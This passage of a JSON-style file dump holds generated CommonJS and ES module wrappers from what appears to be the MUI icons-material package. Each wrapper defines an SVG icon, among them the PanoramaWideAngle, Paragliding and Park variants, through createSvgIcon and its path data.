    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-3.97 0-6.85.63-9 1-.55 1.97-1 3.92-1 7 0 3.03.45 5.05 1 7 2.15.37 4.98 1 9 1 3.97 0 6.85-.63 9-1 .57-2.02 1-3.99 1-7 0-3.03-.45-5.05-1-7-2.15-.37-4.98-1-9-1\"\n}), 'PanoramaWideAngleSelectOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaWideAngleSelectRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-3.97 0-6.85.63-9 1-.55 1.97-1 3.92-1 7 0 3.03.45 5.06 1 7 2.15.37 4.98 1 9 1 3.97 0 6.85-.63 9-1 .57-2.02 1-3.99 1-7 0-3.03-.45-5.06-1-7-2.15-.37-4.98-1-9-1\"\n}), 'PanoramaWideAngleSelectRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaWideAngleSelectRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-3.97 0-6.85.63-9 1-.55 1.97-1 3.92-1 7 0 3.03.45 5.06 1 7 2.15.37 4.98 1 9 1 3.97 0 6.85-.63 9-1 .57-2.02 1-3.99 1-7 0-3.03-.45-5.06-1-7-2.15-.37-4.98-1-9-1\"\n}), 'PanoramaWideAngleSelectRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaWideAngleSelectSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-3.97 0-6.85.63-9 1-.55 1.97-1 3.92-1 7 0 3.03.45 5.05 1 7 2.15.37 4.98 1 9 1 3.97 0 6.85-.63 9-1 .57-2.02 1-3.99 1-7 0-3.03-.45-5.05-1-7-2.15-.37-4.98-1-9-1\"\n}), 'PanoramaWideAngleSelectSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaWideAngleSelectSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-3.97 0-6.85.63-9 1-.55 1.97-1 3.92-1 7 0 3.03.45 5.05 1 7 2.15.37 4.98 1 9 1 3.97 0 6.85-.63 9-1 .57-2.02 1-3.99 1-7 0-3.03-.45-5.05-1-7-2.15-.37-4.98-1-9-1\"\n}), 'PanoramaWideAngleSelectSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaWideAngleSelectTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-3.97 0-6.85.63-9 1-.55 1.97-1 3.92-1 7 0 3.03.45 5.05 1 7 2.15.37 4.98 1 9 1 3.97 0 6.85-.63 9-1 .57-2.02 1-3.99 1-7 0-3.03-.45-5.05-1-7-2.15-.37-4.98-1-9-1\"\n}), 'PanoramaWideAngleSelectTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaWideAngleSelectTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-3.97 0-6.85.63-9 1-.55 1.97-1 3.92-1 7 0 3.03.45 5.05 1 7 2.15.37 4.98 1 9 1 3.97 0 6.85-.63 9-1 .57-2.02 1-3.99 1-7 0-3.03-.45-5.05-1-7-2.15-.37-4.98-1-9-1\"\n}), 'PanoramaWideAngleSelectTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaWideAngleSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6c2.45 0 4.71.2 7.29.64.47 1.78.71 3.58.71 5.36s-.24 3.58-.71 5.36c-2.58.44-4.84.64-7.29.64s-4.71-.2-7.29-.64C4.24 15.58 4 13.78 4 12s.24-3.58.71-5.36C7.29 6.2 9.55 6 12 6m0-2c-2.73 0-5.22.24-7.95.72l-.93.16-.25.9C2.29 7.85 2 9.93 2 12s.29 4.15.87 6.22l.25.89.93.16c2.73.49 5.22.73 7.95.73s5.22-.24 7.95-.72l.93-.16.25-.89c.58-2.08.87-4.16.87-6.23s-.29-4.15-.87-6.22l-.25-.89-.93-.16C17.22 4.24 14.73 4 12 4\"\n}), 'PanoramaWideAngleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaWideAngleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6c2.45 0 4.71.2 7.29.64.47 1.78.71 3.58.71 5.36s-.24 3.58-.71 5.36c-2.58.44-4.84.64-7.29.64s-4.71-.2-7.29-.64C4.24 15.58 4 13.78 4 12s.24-3.58.71-5.36C7.29 6.2 9.55 6 12 6m0-2c-2.73 0-5.22.24-7.95.72l-.93.16-.25.9C2.29 7.85 2 9.93 2 12s.29 4.15.87 6.22l.25.89.93.16c2.73.49 5.22.73 7.95.73s5.22-.24 7.95-.72l.93-.16.25-.89c.58-2.08.87-4.16.87-6.23s-.29-4.15-.87-6.22l-.25-.89-.93-.16C17.22 4.24 14.73 4 12 4\"\n}), 'PanoramaWideAngleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaWideAngleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6c-2.45 0-4.71.2-7.29.64C4.24 8.42 4 10.22 4 12s.24 3.58.71 5.36c2.58.44 4.84.64 7.29.64s4.71-.2 7.29-.64c.47-1.78.71-3.58.71-5.36s-.24-3.58-.71-5.36C16.71 6.2 14.45 6 12 6\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.13 5.78-.25-.89-.93-.16C17.22 4.24 14.73 4 12 4s-5.22.24-7.95.72l-.93.16-.25.9C2.29 7.85 2 9.93 2 12s.29 4.15.87 6.22l.25.89.93.16c2.73.49 5.22.73 7.95.73s5.22-.24 7.95-.72l.93-.16.25-.89c.58-2.08.87-4.16.87-6.23s-.29-4.15-.87-6.22m-1.84 11.58c-2.58.44-4.84.64-7.29.64s-4.71-.2-7.29-.64C4.24 15.58 4 13.78 4 12s.24-3.58.71-5.36C7.29 6.2 9.55 6 12 6s4.71.2 7.29.64c.47 1.78.71 3.58.71 5.36s-.24 3.58-.71 5.36\"\n}, \"1\")], 'PanoramaWideAngleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaWideAngleTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6c-2.45 0-4.71.2-7.29.64C4.24 8.42 4 10.22 4 12s.24 3.58.71 5.36c2.58.44 4.84.64 7.29.64s4.71-.2 7.29-.64c.47-1.78.71-3.58.71-5.36s-.24-3.58-.71-5.36C16.71 6.2 14.45 6 12 6\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.13 5.78-.25-.89-.93-.16C17.22 4.24 14.73 4 12 4s-5.22.24-7.95.72l-.93.16-.25.9C2.29 7.85 2 9.93 2 12s.29 4.15.87 6.22l.25.89.93.16c2.73.49 5.22.73 7.95.73s5.22-.24 7.95-.72l.93-.16.25-.89c.58-2.08.87-4.16.87-6.23s-.29-4.15-.87-6.22m-1.84 11.58c-2.58.44-4.84.64-7.29.64s-4.71-.2-7.29-.64C4.24 15.58 4 13.78 4 12s.24-3.58.71-5.36C7.29 6.2 9.55 6 12 6s4.71.2 7.29.64c.47 1.78.71 3.58.71 5.36s-.24 3.58-.71 5.36\"\n}, \"1\")], 'PanoramaWideAngleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Paragliding.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 17c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m-3.48.94C8.04 17.55 7 16.76 7 14H5c0 2.7.93 4.41 2.3 5.5.5.4 1.1.7 1.7.9V24h6v-3.6c.6-.2 1.2-.5 1.7-.9 1.37-1.09 2.3-2.8 2.3-5.5h-2c0 2.76-1.04 3.55-1.52 3.94C14.68 18.54 14 19 12 19s-2.68-.46-3.48-1.06M12 0C5.92 0 1 1.9 1 4.25v3.49c0 .81.88 1.26 1.56.83.14-.09.28-.18.44-.26L5 13h2l1.5-6.28c1.1-.14 2.28-.22 3.5-.22s2.4.08 3.5.22L17 13h2l2-4.69c.16.09.3.17.44.26.68.43 1.56-.02 1.56-.83V4.25C23 1.9 18.08 0 12 0M5.88 11.24 4.37 7.69c.75-.28 1.6-.52 2.53-.71zm12.24 0L17.1 6.98c.93.19 1.78.43 2.53.71z\"\n}), 'Paragliding');"
  },
  {
    "path": "packages/mui-icons-material/lib/Paragliding.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 17c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m-3.48.94C8.04 17.55 7 16.76 7 14H5c0 2.7.93 4.41 2.3 5.5.5.4 1.1.7 1.7.9V24h6v-3.6c.6-.2 1.2-.5 1.7-.9 1.37-1.09 2.3-2.8 2.3-5.5h-2c0 2.76-1.04 3.55-1.52 3.94C14.68 18.54 14 19 12 19s-2.68-.46-3.48-1.06M12 0C5.92 0 1 1.9 1 4.25v3.49c0 .81.88 1.26 1.56.83.14-.09.28-.18.44-.26L5 13h2l1.5-6.28c1.1-.14 2.28-.22 3.5-.22s2.4.08 3.5.22L17 13h2l2-4.69c.16.09.3.17.44.26.68.43 1.56-.02 1.56-.83V4.25C23 1.9 18.08 0 12 0M5.88 11.24 4.37 7.69c.75-.28 1.6-.52 2.53-.71zm12.24 0L17.1 6.98c.93.19 1.78.43 2.53.71z\"\n}), 'Paragliding');"
  },
  {
    "path": "packages/mui-icons-material/lib/ParaglidingOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 17c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m3.48.94C14.68 18.54 14 19 12 19s-2.68-.46-3.48-1.06C8.04 17.55 7 16.76 7 14H5c0 2.7.93 4.41 2.3 5.5.5.4 1.1.7 1.7.9V24h6v-3.6c.6-.2 1.2-.5 1.7-.9 1.37-1.09 2.3-2.8 2.3-5.5h-2c0 2.76-1.04 3.55-1.52 3.94M23 4.25v3.49c0 .8-.88 1.26-1.56.83-.14-.09-.28-.18-.44-.26L19 13h-2l-1.5-6.28c-1.1-.14-2.28-.22-3.5-.22s-2.4.08-3.5.22L7 13H5L3 8.31c-.16.08-.3.17-.44.26C1.88 9 1 8.55 1 7.74V4.25C1 1.9 5.92 0 12 0s11 1.9 11 4.25M6.9 6.98c-.93.19-1.78.43-2.53.71l1.51 3.55zm12.73.71c-.75-.28-1.6-.52-2.53-.71l1.02 4.25zM21 4.31C20.65 3.63 17.57 2 12 2S3.35 3.63 3 4.31v1.77C5.34 5.07 8.56 4.5 12 4.5s6.66.57 9 1.58z\"\n}), 'ParaglidingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ParaglidingOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 17c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m3.48.94C14.68 18.54 14 19 12 19s-2.68-.46-3.48-1.06C8.04 17.55 7 16.76 7 14H5c0 2.7.93 4.41 2.3 5.5.5.4 1.1.7 1.7.9V24h6v-3.6c.6-.2 1.2-.5 1.7-.9 1.37-1.09 2.3-2.8 2.3-5.5h-2c0 2.76-1.04 3.55-1.52 3.94M23 4.25v3.49c0 .8-.88 1.26-1.56.83-.14-.09-.28-.18-.44-.26L19 13h-2l-1.5-6.28c-1.1-.14-2.28-.22-3.5-.22s-2.4.08-3.5.22L7 13H5L3 8.31c-.16.08-.3.17-.44.26C1.88 9 1 8.55 1 7.74V4.25C1 1.9 5.92 0 12 0s11 1.9 11 4.25M6.9 6.98c-.93.19-1.78.43-2.53.71l1.51 3.55zm12.73.71c-.75-.28-1.6-.52-2.53-.71l1.02 4.25zM21 4.31C20.65 3.63 17.57 2 12 2S3.35 3.63 3 4.31v1.77C5.34 5.07 8.56 4.5 12 4.5s6.66.57 9 1.58z\"\n}), 'ParaglidingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ParaglidingRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 17c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m5.95-3c-.52 0-.94.4-.99.92-.2 2.03-1.05 2.68-1.48 3.02C14.68 18.54 14 19 12 19s-2.68-.46-3.48-1.06c-.43-.34-1.28-.99-1.48-3.02-.05-.52-.47-.92-.99-.92-.59 0-1.06.51-1 1.09.22 2.08 1.07 3.47 2.24 4.41.5.4 1.1.7 1.7.9L9 24h6v-3.6c.6-.2 1.2-.5 1.7-.9 1.17-.94 2.03-2.32 2.24-4.41.07-.58-.41-1.09-.99-1.09M12 0C5.92 0 1 1.9 1 4.25v3.49c0 .81.88 1.26 1.56.83.14-.09.28-.18.44-.26L5 13h2l1.5-6.28c1.1-.14 2.28-.22 3.5-.22s2.4.08 3.5.22L17 13h2l2-4.69c.16.09.3.17.44.26.68.43 1.56-.02 1.56-.83V4.25C23 1.9 18.08 0 12 0M5.88 11.24 4.37 7.69c.75-.28 1.6-.52 2.53-.71zm12.24 0L17.1 6.98c.93.19 1.78.43 2.53.71z\"\n}), 'ParaglidingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ParaglidingRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 17c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m5.95-3c-.52 0-.94.4-.99.92-.2 2.03-1.05 2.68-1.48 3.02C14.68 18.54 14 19 12 19s-2.68-.46-3.48-1.06c-.43-.34-1.28-.99-1.48-3.02-.05-.52-.47-.92-.99-.92-.59 0-1.06.51-1 1.09.22 2.08 1.07 3.47 2.24 4.41.5.4 1.1.7 1.7.9L9 24h6v-3.6c.6-.2 1.2-.5 1.7-.9 1.17-.94 2.03-2.32 2.24-4.41.07-.58-.41-1.09-.99-1.09M12 0C5.92 0 1 1.9 1 4.25v3.49c0 .81.88 1.26 1.56.83.14-.09.28-.18.44-.26L5 13h2l1.5-6.28c1.1-.14 2.28-.22 3.5-.22s2.4.08 3.5.22L17 13h2l2-4.69c.16.09.3.17.44.26.68.43 1.56-.02 1.56-.83V4.25C23 1.9 18.08 0 12 0M5.88 11.24 4.37 7.69c.75-.28 1.6-.52 2.53-.71zm12.24 0L17.1 6.98c.93.19 1.78.43 2.53.71z\"\n}), 'ParaglidingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ParaglidingSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 17c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m-3.48.94C8.04 17.55 7 16.76 7 14H5c0 2.7.93 4.41 2.3 5.5.5.4 1.1.7 1.7.9V24h6v-3.6c.6-.2 1.2-.5 1.7-.9 1.37-1.09 2.3-2.8 2.3-5.5h-2c0 2.76-1.04 3.55-1.52 3.94C14.68 18.54 14 19 12 19s-2.68-.46-3.48-1.06M12 0C5.92 0 1 1.9 1 4.25v3.49c0 .81.88 1.26 1.56.83.14-.09.28-.18.44-.26L5 13h2l1.5-6.28c1.1-.14 2.28-.22 3.5-.22s2.4.08 3.5.22L17 13h2l2-4.69c.16.09.3.17.44.26.68.43 1.56-.02 1.56-.83V4.25C23 1.9 18.08 0 12 0M5.88 11.24 4.37 7.69c.75-.28 1.6-.52 2.53-.71zm12.24 0L17.1 6.98c.93.19 1.78.43 2.53.71z\"\n}), 'ParaglidingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ParaglidingSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 17c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m-3.48.94C8.04 17.55 7 16.76 7 14H5c0 2.7.93 4.41 2.3 5.5.5.4 1.1.7 1.7.9V24h6v-3.6c.6-.2 1.2-.5 1.7-.9 1.37-1.09 2.3-2.8 2.3-5.5h-2c0 2.76-1.04 3.55-1.52 3.94C14.68 18.54 14 19 12 19s-2.68-.46-3.48-1.06M12 0C5.92 0 1 1.9 1 4.25v3.49c0 .81.88 1.26 1.56.83.14-.09.28-.18.44-.26L5 13h2l1.5-6.28c1.1-.14 2.28-.22 3.5-.22s2.4.08 3.5.22L17 13h2l2-4.69c.16.09.3.17.44.26.68.43 1.56-.02 1.56-.83V4.25C23 1.9 18.08 0 12 0M5.88 11.24 4.37 7.69c.75-.28 1.6-.52 2.53-.71zm12.24 0L17.1 6.98c.93.19 1.78.43 2.53.71z\"\n}), 'ParaglidingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ParaglidingTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 4.31C20.65 3.63 17.57 2 12 2S3.35 3.63 3 4.31v1.77C5.34 5.07 8.56 4.5 12 4.5s6.66.57 9 1.58z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 17c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m3.48.94C14.68 18.54 14 19 12 19s-2.68-.46-3.48-1.06C8.04 17.55 7 16.76 7 14H5c0 2.7.93 4.41 2.3 5.5.5.4 1.1.7 1.7.9V24h6v-3.6c.6-.2 1.2-.5 1.7-.9 1.37-1.09 2.3-2.8 2.3-5.5h-2c0 2.76-1.04 3.55-1.52 3.94M23 4.25v3.49c0 .8-.88 1.26-1.56.83-.14-.09-.28-.18-.44-.26L19 13h-2l-1.5-6.28c-1.1-.14-2.28-.22-3.5-.22s-2.4.08-3.5.22L7 13H5L3 8.31c-.16.08-.3.17-.44.26C1.88 9 1 8.55 1 7.74V4.25C1 1.9 5.92 0 12 0s11 1.9 11 4.25M6.9 6.98c-.93.19-1.78.43-2.53.71l1.51 3.55zm12.73.71c-.75-.28-1.6-.52-2.53-.71l1.02 4.25zM21 4.31C20.65 3.63 17.57 2 12 2S3.35 3.63 3 4.31v1.77C5.34 5.07 8.56 4.5 12 4.5s6.66.57 9 1.58z\"\n}, \"1\")], 'ParaglidingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ParaglidingTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 4.31C20.65 3.63 17.57 2 12 2S3.35 3.63 3 4.31v1.77C5.34 5.07 8.56 4.5 12 4.5s6.66.57 9 1.58z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 17c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m3.48.94C14.68 18.54 14 19 12 19s-2.68-.46-3.48-1.06C8.04 17.55 7 16.76 7 14H5c0 2.7.93 4.41 2.3 5.5.5.4 1.1.7 1.7.9V24h6v-3.6c.6-.2 1.2-.5 1.7-.9 1.37-1.09 2.3-2.8 2.3-5.5h-2c0 2.76-1.04 3.55-1.52 3.94M23 4.25v3.49c0 .8-.88 1.26-1.56.83-.14-.09-.28-.18-.44-.26L19 13h-2l-1.5-6.28c-1.1-.14-2.28-.22-3.5-.22s-2.4.08-3.5.22L7 13H5L3 8.31c-.16.08-.3.17-.44.26C1.88 9 1 8.55 1 7.74V4.25C1 1.9 5.92 0 12 0s11 1.9 11 4.25M6.9 6.98c-.93.19-1.78.43-2.53.71l1.51 3.55zm12.73.71c-.75-.28-1.6-.52-2.53-.71l1.02 4.25zM21 4.31C20.65 3.63 17.57 2 12 2S3.35 3.63 3 4.31v1.77C5.34 5.07 8.56 4.5 12 4.5s6.66.57 9 1.58z\"\n}, \"1\")], 'ParaglidingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Park.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 12h2L12 2 5.05 12H7l-3.9 6h6.92v4h3.96v-4H21z\"\n}), 'Park');"
  },
  {
    "path": "packages/mui-icons-material/lib/Park.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 12h2L12 2 5.05 12H7l-3.9 6h6.92v4h3.96v-4H21z\"\n}), 'Park');"
  },
  {
    "path": "packages/mui-icons-material/lib/ParkOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 12h2L12 2 5.05 12H7l-3.9 6h6.92v4h3.95v-4H21zM6.79 16l3.9-6H8.88l3.13-4.5 3.15 4.5h-1.9l4 6z\"\n}), 'ParkOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ParkOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 12h2L12 2 5.05 12H7l-3.9 6h6.92v4h3.95v-4H21zM6.79 16l3.9-6H8.88l3.13-4.5 3.15 4.5h-1.9l4 6z\"\n}), 'ParkOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ParkRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.96 12h.08c.81 0 1.28-.91.82-1.57l-5.08-7.25c-.4-.57-1.24-.57-1.64 0L6.1 10.43c-.46.66.02 1.57.83 1.57h.04l-2.9 4.46c-.44.66.04 1.54.84 1.54h5.08v2.02c0 1.09.89 1.98 1.98 1.98s1.98-.89 1.98-1.98V18h5.15c.8 0 1.28-.89.83-1.55z\"\n}), 'ParkRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ParkRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.96 12h.08c.81 0 1.28-.91.82-1.57l-5.08-7.25c-.4-.57-1.24-.57-1.64 0L6.1 10.43c-.46.66.02 1.57.83 1.57h.04l-2.9 4.46c-.44.66.04 1.54.84 1.54h5.08v2.02c0 1.09.89 1.98 1.98 1.98s1.98-.89 1.98-1.98V18h5.15c.8 0 1.28-.89.83-1.55z\"\n}), 'ParkRounded');"
  },
  {
